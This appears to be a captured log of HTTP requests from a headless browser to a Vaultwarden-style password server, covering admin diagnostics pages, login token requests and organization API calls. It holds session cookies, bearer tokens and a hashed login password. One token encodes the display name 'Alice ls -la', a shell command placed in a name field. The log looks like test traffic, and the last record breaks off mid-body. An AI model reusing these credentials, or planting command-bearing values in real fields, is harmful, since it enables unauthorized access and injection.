{"method": "GET", "target": "/admin/organizations/overview", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=0, i"], "body": ""}
{"method": "GET", "target": "/vw_static/admin_organizations.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/organizations/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
{"method": "GET", "target": "/admin/diagnostics", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=0, i"], "body": ""}
{"method": "GET", "target": "/vw_static/admin_diagnostics.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
{"method": "GET", "target": "/webauthn-connector.html", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/admin/does-not-exist", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/admin/diagnostics/http?code=404", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/admin/diagnostics/http?code=400", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/admin/diagnostics/http?code=401", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/admin/diagnostics/http?code=403", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/notifications/anonymous-hub?token=admin-diagnostics", "headers": ["Host: example.com", "Connection: Upgrade", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Upgrade: websocket", "Origin: https://example.com", "Sec-Websocket-Version: 13", "Accept-Encoding: gzip, deflate, br, zstd", "Sec-Websocket-Key: fHbY0knl/xf6yu7sZB/opQ==", "Sec-Websocket-Extensions: permessage-deflate; client_max_window_bits"], "body": ""}
{"method": "POST", "target": "/admin/users/59d0f3f3-5d59-4432-a5d9-314ca2cb6729/enable", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxNzUsImV4cCI6MTc5NDI4MzM3NSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.X8DAfbVvvkQWMukqS0hDfUDCGX6uX54JnE5kpMAPzxqLUjPDYg1CA0oxu-Ct1YriUKwNPzfdtskD8ZY1QRKV9YmTwgEDhHxzmOIBK19kYHhJb1XaN2wg0nsNL3XM4TIhhVh3wevpNFyXU58mxuiRAIw2XYv-2kbNSt0LWj4vdhWEC5cOsegqdStuQx0YJSsJyRV7_uR46598sM6IegQCS2T4rtHDISFUnBLllq5-akYkPkijh4s3F-HFE6Nx9R09Tvd9XHSq0yfSR8aQ2gIIonfaRX4aLUSTrkWWcS4UH92MLsx6sb4n3FaNKt8kLi1hS15iMIOkOKzjGImLWpYEtw", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=a3e6b5b0-3483-403e-a2eb-30f01f61d540&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups/details", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI0MzAsImV4cCI6MTc5NDI4OTYzMCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImEzZTZiNWIwLTM0ODMtNDAzZS1hMmViLTMwZjAxZjYxZDU0MCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.SeaayBUmg3uP6mpNK_ZBiPhlg-6rwOkJibxOlmwsiH66Ye3rSAApk0UnSrlfuTcj9GrgU4etzeqbjjCRhO9_jzYxBwPFE_XRCZ8epJ6ChMhcYfmi3TtVeJXGEfroN1kKNdzJjma3hz-t7W-Q0QvkG167v6wgUQSGdQInW2SckjPMoI109kCvCFRcB87xtQlYUYoQrDmBk_AAjI9wRgW8Ar0-Tq0JrcOVO6T2lJiLQ_wQzO_qoxsDoH6Zjug03Gq8-fvWg34QGsvp3_bdd_iIKibheHvV51bUTi0ZlPu4ULuHujHnczoHkH4oo6lif8k4H22As7gaJ-rCOnEHEjqn4Q", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=043de400-5863-493d-a35b-eabf900ef67e&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "GET", "target": "/449.caff420ade63a9b7c354.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI0ODksImV4cCI6MTc5NDI4OTY4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjA0M2RlNDAwLTU4NjMtNDkzZC1hMzViLWVhYmY5MDBlZjY3ZSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.esJJRzkAi0R73cNPooBzGDkaf6M90wlmgFKHe5iOwzkw1R7CjHpMuDAFZVByn8RqMmvN2FfzZbC0i047URuRUnrkG1YsdtPZBbW-pTkYHI--R6tm_T6iZSnHxcafdBk1NhEM-ALW2wxwpcRH4DYcHdJYVd07Hi4S0Be3sXR_nAKqz-d999t0LdgT583xR90kP0W5ZBP3cssiw2lOqX_siJushrt4PUNoBlREodQ5u-1vSG2ZujooVTfRB67GXuOwVydnpNGtWUOVmic3J7eSZiJw-Jy9JDMZBfJct8wjYMPlGIXBcG5iEPFi173lg3UA-eabcjgxFNREF7GAI3rZpg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/keys", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI0ODksImV4cCI6MTc5NDI4OTY4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjA0M2RlNDAwLTU4NjMtNDkzZC1hMzViLWVhYmY5MDBlZjY3ZSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.esJJRzkAi0R73cNPooBzGDkaf6M90wlmgFKHe5iOwzkw1R7CjHpMuDAFZVByn8RqMmvN2FfzZbC0i047URuRUnrkG1YsdtPZBbW-pTkYHI--R6tm_T6iZSnHxcafdBk1NhEM-ALW2wxwpcRH4DYcHdJYVd07Hi4S0Be3sXR_nAKqz-d999t0LdgT583xR90kP0W5ZBP3cssiw2lOqX_siJushrt4PUNoBlREodQ5u-1vSG2ZujooVTfRB67GXuOwVydnpNGtWUOVmic3J7eSZiJw-Jy9JDMZBfJct8wjYMPlGIXBcG5iEPFi173lg3UA-eabcjgxFNREF7GAI3rZpg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=efa8b787-99ef-4031-90a0-fd93a8eb45aa&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": 